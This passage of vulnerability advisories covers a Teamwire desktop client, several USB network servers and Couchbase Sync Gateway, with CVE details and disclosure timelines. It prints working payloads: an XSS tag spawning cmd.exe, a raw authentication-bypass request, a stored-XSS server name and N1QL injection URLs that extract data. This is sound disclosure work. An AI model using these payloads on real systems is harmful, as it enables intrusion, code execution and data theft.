<img src=x onerror="const spawn=require('child_process').spawn;spawn('cmd.exe',['/c','calc.exe']);console.log(1);//Something">

and invited the victims, the code was executed on the client systems. For demonstration purposes, the program calc.exe was opened but any actions inside the application or on the system would have been possible.

Screenshot of the program calc.exe that was opened for demonstation purposes.

The injected code was executed at least in the following places:

  • When a user viewed the tab „Directory“ and then „Lists“ and was added to the malicious group by the attacker
  • When a user used the global search and the malicious group name matched the search word
  • When a user viewed the members of a group chat that contained the malicious group as a member
  • When a user wanted to create a new group chat and the malicious group was an element in the „Lists“ directory

This behaviour affected version 2.3.0 of the Teamwire Windows desktop client. Older versions were not affected.
The vulnerability was fixed in version 2.4.0.

Automatic UNC path resolution in pasted text (CVE-2024-24278)

If a user pasted text into the message area of the Teamwire Windows client and that text matched a UNC path, the Teamwire client automatically tried to connect to the system and proceeded to authenticate via SMB with the current Windows logon credentials. An attacker inside the internal network could use this vulnerability to capture hashed credentials or redirect the user authentication attempt to other systems.

For example: If a user pasted the text „\\192.168.194.133\something\test.docx“ into the message field, the client tried to access the SMB share on the system 192.168.194.133 immediately without showing the pasted text first.

This behaviour would be expected if a client would click on a link or open the path in the Windows explorer. It is however not expected if a user only pastes the text without submitting it or initiating any other action. Especially if a user copies text from a web page, where malicious content could be hidden by CSS, unintended text might be pasted into the application. The pasted content is only shown after the connection to the specified share was already established.

This behaviour affected all versions of the Teamwire Windows desktop clients between version numbers 2.0.1 and 2.4.0. Older versions may be affected as well. A newer version than 2.4.0 may include a fix but was not tested.

Injection of sanitized HTML elements in multiple places (CVE-2024-24276)

At least four instances inside the Teamwire Windows client were identified, where user supplied HTML code was rendered inside the application. The HTML code however, was sanitized by the AngularJS sanitize$ function, which prevented the insertion of malicious JavaScript code. An attacker would need to find a bypass for this function to elevate these issues into remote code exection vulnerabilities.
Without such a bypass, only harmless modifications like manipulation of the application appearance or embedding of external images was possbile.

The four identified instances were:

  1. When an administrator renamed a chat, the new name was sent to all members of the group and the sanitized HTML was rendered
    Screenshot of HTML injection inside new group name
  2. The message preview when a user answered another message
    Screenshot of HTML injection in message answer preview
  3. When a user with a manipulated name was removed from a group
    Screenshot of HTML injection when malicious user is removed from a chat
  4. When an administrator tried to leave a chat that still contained a group of which he was a member

This behaviour affected all versions of the Teamwire Windows desktop clients between version numbers 2.0.1 and 2.2.1. Older versions may be affected as well.
Instances 2 and 4 were fixed in version 2.3.0.
Instances 1 and 3 still exist in 2.3.0 and possibly later versions as well.

Disclosure Timeline

  • 25. August 2020 – HiSolutions reaches out to Teamwire to establish secure, encrypted communication via email so that vulnerability details can be sent
  • 25. August 2020 – Teamwire provides a contact and the corresponding PGP key
  • 25. August 2020 – HiSolutions sends the vulnerability details for the three vulnerabilities CVE-2024-24275, CVE-2024-24276, CVE-2024-24278
  • 26. August 2020 – Teamwire responds that the mentioned issues were internally discovered a few weeks before and releases a new Teamwire version 2.3.0 that is supposed to contain the fixes
  • 26. August 2020 – HiSolutions tests the new version
  • 27. August 2020 – HiSolutions sends the details of the retest and the new vulnerability to the Teamwire contact
  • 16. October 2020 – Teamwire publishes version 2.4.0 which includes fixes for some of the vulnerabilities
  • 2020/2021 HiSolutions can no longer assess Teamwire and pauses the responsible disclosure process
  • 16. January 2024 – HiSolutions publishes the vulnerability details after a sufficient grace period

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG) who also reviewed the fixes.

High-Impact Vulnerabilites In Multiple USB Network Servers

Within the scope of a recent penetration test and through individual research effort, HiSolutions‘ security consultants discovered multiple previously unknown high-impact vulnerabilities in USB network server firmwares (see individual issues for the CVE IDs). Devices of multiple vendors were affected by similar vulnerabilities. HiSolutions responsibly disclosed the vulnerabilities to the vendors and additionally provided feedback on the implemented patches.

Background Information

USB network servers or USB network MTP and printer servers are devices that can be used to make USB devices accessible to multiple users via the network. Users install a software on their client and can then access USB devices without the need to physically plug the device into the local system. If devices are used by multiple users the devices do not have to be transfered between different systems each time the user changes. Use cases include shared USB network drives, USB Printers, or USB license dongles that can be used by authenticated users on the local network. All of the investigated devices were provided with an individual client software that runs on the local systems. All systems also exposed a web server that could be used to make administrative changes to the system.

The Vulnerabilities

HiSolutions consultants discovered four noteable vulnerabilities in each of the investigated devices.
The devices were:

  • TP-Link TL-PS310U (version v2.000, fixed in 2.079.000.t0210)
  • Digitus da-70254 (version 2.073.000.E0008)
  • Lindy No. 42633 (version v.2.078.000)
  • one other reviewed device of an (at this time) undisclosed vendor

Exposure of the Administrative Password Over Network Broadcast

The following CVE IDs were issued for this vulnerability: CVE-2020-15054 (TP-Link), CVE-2020-15058 (Lindy), CVE-2020-15062 (Digitus).

The USB network servers send the password of the local administrator account repeatedly and without request across the local Network via UDP broadcast. Every system on that network can read the password from these unencrypted broadcasts. The password is sent in UDP packets to the broadcast address 255.255.255.255 as can be seen in the following packet capture:

wireshark packet capture screenshot of administrative password in udp network traffic
Figure 1: UDP broadcast of the administrative password „PASSWORDABC“.

All systems in the local network receive the administrative password. In theory, the password is then used to locally check against the password entered by the client on the local system. In practice, an attacker can easily retrieve the password from the UDP broadcast messages and thus
circumvent the access restrictions to the administrative interface. The attacker then can use all functions provided by the USB network server, including restricted ones. If the password is reused (which is strongly discouraged but often the case) this design error could give an attacker access to other systems that use the same password.

Authentication Bypass in Web Administration Interface

The following CVE IDs were issued for this vulnerability: CVE-2020-15055 (TP-Link), CVE-2020-15059 (Lindy), CVE-2020-15063 (Digitus).

In some cases the password authentication requirement in the web interface can be bypassed when the password parameter is removed from the request. This enables an unauthenticated user to access privileged functions on the interface.
As an example, the following request will change the server name, a functionality that would normally only be available if the configured password was provided:

POST /csystem33.htm HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/csystem33.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: close
Upgrade-Insecure-Requests: 1
%24A0%24=New+Name+No+Password&%24B2%24=38&%24B3%24=39 

As is visible in the request, no password is provided and the corresponding Parameter is removed entirely. Without the password parameter the authentication does not fail, but instead the server simply implies that no password was set, thus allowing the operation without any user authentication.

Because of that, unauthenticated users can access administrative functions on the system without knowledge of the administrative password, therefore bypassing the authentication. This effectively disables the access control for the entire administrative interface.

Persistent Cross-Site Scripting

The following CVE IDs were issued for this vulnerability: CVE-2020-15056 (TP-Link), CVE-2020-15060 (Lindy), CVE-2020-15064 (Digitus).

The parameter for the server name is vulnerable to a stored Cross-Site Scripting (XSS) attack. This results in the possibility for an attacker to execute JavaScript code in the context of the victims browser.

If the corresponding request is sent to the server, the server name gets embedded into the JavaScript file unfiltered and unescaped:

var myServer = new Server();
myServer.model = '';
myServer.manuf = '';
myServer.name = 'TestName';alert('Successful XSS');//';
myServer.hw = 'V. 2.000';
//myServer.tempFW = '2.255.255';
tempFWVersion = '';
myServer.fw = tempFWVersion.substring(0,1) + '.' +
tempFWVersion.substring(1,3);
myServer.mac = '34:e8:94:20:47:78';

The vulnerability allows attackers to execute JavaScript code in the context of the browser of the victim by manipulating the stored server name. Attackers in the local network could insert a custom script that is loaded each time an administrator visits the web administration interface. They can thereby gain persistent access to the web interface and attack other systems in the local network through the browser of the victim.
Normally, administrative access to the web interface would be needed to exploit this vulnerability, which would lower the impact. In combination with other vulnerabilities (like the authentication bypass) this exploit works for all users with access to the system.

Denial of Service

The following CVE IDs were issued for this vulnerability: CVE-2020-15057 (TP-Link), CVE-2020-15061 (Lindy), CVE-2020-15065 (Digitus).

Users can crash the USB network servers by sending long input values. For some lengths, the servers hang or act unexpectedly. while longer input values (e.g. 1103 characters) will crash them entirely. A reboot or sometimes reset of the device is needed to clear the issue.

After receiving too long input values the system no longer responds to network requests. The UDP broadcasts show that when setting a long server name other variables were most likely overwritten:

Wireshark packet capture screenshot of the buffer overflow from the server name
Figure 2: Buffer overflow from the server name (top: normal, bottom: after attack)

An attacker can use the buffer overflow vulnerability to impact the availability of the server. The shown behaviour indicates that the buffer overflow could also be used to execute functions or code on the system. This possibility was not investigated during the project.

Remediation

The vendors TP-Link and Lindy provided an updated firmware that fixes the vulnerabilities.

When using a device for which no patch is available, make sure that the chosen password is not reused on any other system or application.
Access to the devices could also be restricted on network level to limit the possibility of an attacker accessing the web interface or sniffing the broadcast traffic.

Responsible Disclosure Timeline

The vulnerabilities were reported to each of the vendors via e-mail. It was made clear that HiSolutions will follow defined responsible disclosure policy and aims to release information about the vulnerabilities in coordination with the vendor.
Each but one vendor reacted to the initial contact and in the following dialogue was provided with additional information on the vulnerabilities.
The vendors named in this advisory provided patches to mitigate the security issues. Hisolutions tested the patches for their effectiveness until the discovered vulnerabilities were closed and follow-up problems solved adequately.

Passwort-Audits

Seit vielen Jahren beobachten wir problematische Trends bei der Verwendung von Passwörtern. Ob bei Incident Response Einsätzen oder bei Penetrationstests – zu schwache Passwörter sind in den heutigen IT-Umgebungen noch viel zu häufig der entscheidende Knackpunkt, der zwischen Erfolg und Misserfolg eines Angriffs entscheidet.

Das wissen auch die Angreifer, und so ist wohl jeder über das Internet erreichbare Server ständigen Brute-Force-Angriffen ausgesetzt. Teilweise entwendet Schadsoftware auch nach einem erfolgreichen Angriff weitere Active Directory Passwort-Hashes, um zusätzliche Zugriffsmöglichkeiten in der Zukunft zu sichern, wie Anfang des Jahres bei Trickbot beobachtet wurde.

Leider bilden Passwörter aber noch bei vielen Systemen und Anwendungen den einzigen Schutz vor unbefugten Angreifern. Die im Windows Active Directory eingebauten Komplexitätsregeln bieten nur eine geringe Hilfestellung bei der Wahl eines sicheren Passworts und sind in der Praxis nicht ausreichend.

Auch wo theoretisch die Einführung von 2-Faktor-Authentifizierung möglich wäre, gestaltet sich die praktische Umsetzung oft schwieriger als erhofft und wird daher verschoben.

Um Kunden einen Überblick über die Passwort-Qualität der von den eigenen Mitarbeitern verwendeten Passwörter zu geben, führt HiSolutions deswegen praktische Prüfungen der Passwortqualität durch. Dafür verfügen wir über ein Labor mit Spezialhardware für das Durchführen von hochparallelisierten Angriffen zur Ermittlung von Kennwörtern. Das System wurde in einer Vielzahl von Penetrationstests und Passwort-Prüfungen erfolgreich eingesetzt. Der Angriffsprozess wird dabei stetig weiterentwickelt und an neueste technische und organisatorische Erkenntnisse angepasst. Das System ermöglicht es, mehrere hundert Milliarden Password-Kandidaten pro Sekunde auszuprobieren.

Bei einer praktischen Prüfung der Passwortqualität werden die Passwort-Hashes von den Domänen-Controllern extrahiert und auf das Spezialsystem bei HiSolutions übertragen. Dort wird dann versucht, in vorgegebener Zeitspanne so viele Passwörter wie möglich zu ermitteln. Bei Bedarf, z.B. wenn die Daten das Netzwerk unter keinen Umständen verlassen dürfen, kann das Spezialsystem der HiSolutions auch in die Räumlichkeiten des Auftraggebers transportiert und dort angeschlossen werden.

Dazu werden unter anderem eine Vielzahl an Wörterbüchern, öffentlichen Passwort-Listen, speziellen Passwort-Regeln und -Masken und eine Kombination verschiedener Angriffsmethoden verwendet. Die verwendeten Regelwerke und Angriffsmethoden werden in Abhängigkeit von den erzielten Ergebnissen kontinuierlich manuell nachjustiert. Zudem werden auftraggeberspezifische Informationen wie beispielsweise spezielle Wörterbücher und bereits ermittelte Passwörter in die weiteren Angriffe einbezogen.

Die Ergebnisse der Prüfung werden im Anschluss ausgewertet und bewertet. Die daraus getroffenen Einschätzungen und Ergebnisse werden mit geeigneten Handlungsempfehlungen zur Verbesserung der organisatorischen und technischen Vorgaben für den Passworteinsatz in einem Prüfbericht dokumentiert. Der Auftraggeber erhält zusätzlich die Liste der Accounts mit gebrochenen Passwörtern, damit diese im Anschluss geändert werden können. Die gewonnenen Klartext-Passwörter werden aus Datenschutzgründen und gegebenenfalls enthaltenen sensiblen Daten grundsätzlich nicht offengelegt. Alle Passwort-Hashes und Klartext-Passwörter werden nach Abschluss des Projekts von den Systemen der HiSolutions sicher gelöscht.

N1QL Injection in Couchbase Sync Gateway – CVE-2019-9039

Within the scope of a recent penetration test, HiSolutions security consultants encountered a Couchbase Sync Gateway and discovered a previously unknown, high-impact injection vulnerability (CVE-2019-9039).

Background Information

The Couchbase Sync Gateway is a product developed by Couchbase Inc. as part of their mobile product portfolio. It is used to connect web, mobile, and IoT apps (Couchbase Lite) to the backend database (Couchbase Server). The publically accessible Sync Gateway synchronizes the data with the internal backend database servers and employs various security and integration features.

Couchbase uses a database query language called N1QL (https://www.couchbase.com/products/n1ql ) (pronounced “nickel”). N1QL extends SQL for JSON. It combines the syntax of traditional SQL with the benefits and flexibility of NoSQL databases.

From a security standpoint, N1QL is comparatively unexplored. SQL injections are a well-known and broadly explored security risk for traditional SQL databases. With increased use of NoSQL databases, NoSQL injection has become a more widely known topic as well. For both vulnerabilities, numerous tools, articles and presentations exist that detail every aspect of exploitation.

N1QL Injections

A 2015 blog post (https://blog.couchbase.com/couchbase-and-n1ql-security-centeredgesoftware/) discusses various aspects of N1QL injections. N1QL is claimed to be more resistant to injection attacks than traditional SQL. This is due to the following syntactic differences:

  • Query stacking is not possible in N1QL. That is, terminating a previous query with a semicolon and appending another query will result in an invalid syntax error in N1QL.
  • N1QL does not allow commenting out just the remainder of a line. N1QL only allows C-style comment blocks (/* comment */). This prevents an attacker from terminating a query by inserting “/*” or “–“ at the injection point.

The blog post also mentions generic advice for preventing injections. Apart from that, information regarding N1QL injections is very sparse.

The vulnerability

HiSolutions consultants discovered that the Couchbase Sync Gateway in combination with a Couchbase Server is affected by a previously undisclosed N1QL-injection vulnerability in the REST API. An attacker with access to the public REST API can insert additional N1QL statements through the parameters “startkey” and “endkey” of the “_all_docs” endpoint.

The following request triggers an error:

https://host:port/{db}/_all_docs?startkey=1%271&endkey=

The client will receive the following error statement indicating a N1QL error:

{"rows":[
{"error":"Internal Server Error","reason":"Internal error: [3000] syntax error - at 1"}

On a server with the standard installation of Couchbase Server and Couchbase Sync Gateway, the following error will appear in the logfile:

2019-02-15T14:00:51.892+01:00 [WRN] Error when querying index using
statement: [SELECT META(`test-getting-started`).id as id,
meta(`test-getting-started`).xattrs._sync.rev as r,
meta(`test-getting-started`).xattrs._sync.sequence as s,
meta(`test-getting-started`).xattrs._sync.channels as c FROM
`test-getting-started` WHERE meta(`test-getting-started`).xattrs._sync.sequence
> 0 AND META(`test-getting-started`).id NOT LIKE '\\_sync:%' AND
meta(`test-getting-started`).xattrs._sync IS NOT MISSING AND
(meta(`test-getting-started`).xattrs._sync.flags IS MISSING OR
BITTEST(meta(`test-getting-started`).xattrs._sync.flags,1) = false) AND
META(`test-getting-started`).id >= '1'1' ORDER BY META(`test-getting-started`).id] --
base.(*CouchbaseBucketGoCB).Query() at bucket_n1ql.go:63

The error (injection point at ‚1‘1′ near the bottom) shows that it is possible to break out of the original query and insert additional N1QL code. An additional character after the apostrophe seems to be required to trigger the error.

Furthermore, it is possible to end the current query and thereby skip the rest of the original query by inserting a null byte at the end of the manipulated parameter value.

The insertion of an additional comparison can be used to validate the injection. When inserting an additional requirement that is always true (“AND 1=1”), the original results are returned:

/{db}/_all_docs?startkey=123%27%20AND%201%3d1%00&endkey=

Inserting a statement that always evaluates to false (“AND 1=0”) yields no results:

/{db}/_all_docs?startkey=123%27%20AND%201%3d0%00&endkey=

The following request can be used to extract additional information from a default installation:

/{db}/_all_docs?startkey=123%27%20UNION%20ALL%20SELECT
%20TOSTRING(BASE64_DECODE("U1FMLUl
uamVjdGlvbg=="))%20as%20id%3b%00&endkey=

The inserted N1QL statement “UNION ALL SELECT TOSTRING(BASE64_DECODE(„U1FMLUluamVjdGlvbg==“)) as id” adds the following line to the output and shows that N1QL functions and queries are evaluated:

{"rows":[
{"key":"SQL-Injection","id":"SQL-Injection","value":{"rev":""}}
...

The same injection works for the parameter “endkey”.

Additional modification of the query seems to be required to make UNION-injections work when channels and users are set up for the database. Data extraction methods that rely on comparisons will work as shown.

Impact:

An attacker with access to the public REST API is able to issue additional N1QL statements and extract sensitive data or call arbitrary N1QL functions. By issuing nested queries with CPU-intensive operations, he might be able to cause increased resource usage and denial of service conditions.

Remediation:

Traditional remediations for SQL injection vulnerabilities also apply to N1QL. Features like parameterized N1QL queries should be used to prevent the injection of N1QL statements into the original query.

As the vulnerability exists in the default Couchbase Sync Gateway, an update will fix the problem. HiSolutions has responsibly reported the issue to the vendor. The fix is available in Sync Gateway v2.5 as well as in v2.1.3.

Short-term remediation can be implemented by blocking all requests containing “startkey” or “endkey” on the web-interface.

Responsible Disclosure Timeline

15.02.2019 – HiSolution initially notifies security@couchbase.com with vulnerability details and the internal responsible disclosure guideline.

20.02.2019 – Couchbase acknowledges the vulnerability and states that an engineering team is working on the issue. Couchbase offers to help with the CVE request to MITRE.

23.02.2019 – HiSolutions inquires whether the engineering team was able to reproduce the issue and requests an ETA for a patch. HiSolutions notifies Couchbase that a CVE number was requested.

23.02.2019 – MITRE assigns CVE-2019-9039 for the vulnerability.

26.02.2019 – Couchbase sends an email to HiSolutions with their assessment of the CVSS (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L). Couchbase states in this email that a patch is under development and that they will follow up with an ETA. Couchbase requests the CVE number.

26.02.2019 – HiSolutions sends the CVE number to Couchbase and questions the assessed CVSS. User interaction should be “none” from HiSolutions perspective (CVSS v3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L).

26.02.2019 – Couchbase explains their assessment of the CVSS and states that they will follow up an ETA for the patch.

25.03.2019 – HiSolutions inquires  if an ETA is available and explains the assessment of the User Interaction CVSS vector.

12.04.2019 – HiSolutions inquires if the last email was received successfully. HiSolutions reminds Couchbase that the issue is scheduled for disclosure on 21.05.2019 and request to be notified if more time is needed by Couchbase.

15.04.2019 – Couchbase apologizes for the delayed response. The patch for the Sync Gateway is expected at the end of April. Couchbase agrees to a public disclosure on 21.05.2019. Couchbase informs HiSolutions that they will list the issue on a changed website under https://www.couchbase.com/resources/security within a table containing all vulnerabilities, fix release dates, versions, and affected products.

14.05.2019 – HiSolutions notices that the patch is applied in the latest public version. HiSolutions sends an inquiry regarding the vulnerability table on the website and if 21.05.2019 is still good for the disclosure.

21.05.2019 – HiSolutions postpones the disclosure because no answer was received.

11.06.2019 – HiSolutions inquires regarding the table on the website and a new disclosure date. A delivery failure for the contact address of the initial contact within the security team is received. The email is resent to the security team with the request for an answer by another team member.

12.06.2019 – Couchbase replies that the fix is included in Sync Gateway v2.5 as well as in v2.1.3. The release notes for both products will be updated in the following days to include a reference to the vulnerability. Couchbase is actively working on the vulnerability table. While unclear if the table will be finished until 21.06.2019, HiSolutions can disclose the issue on 21.06.2019 if Couchbase has updated the release release notes until then.

Further references

https://docs.couchbase.com/dotnet-sdk/2.2/prepared-statements.html https://docs.couchbase.com/java-sdk/2.7/n1ql-query.html#devguide-named-placeholders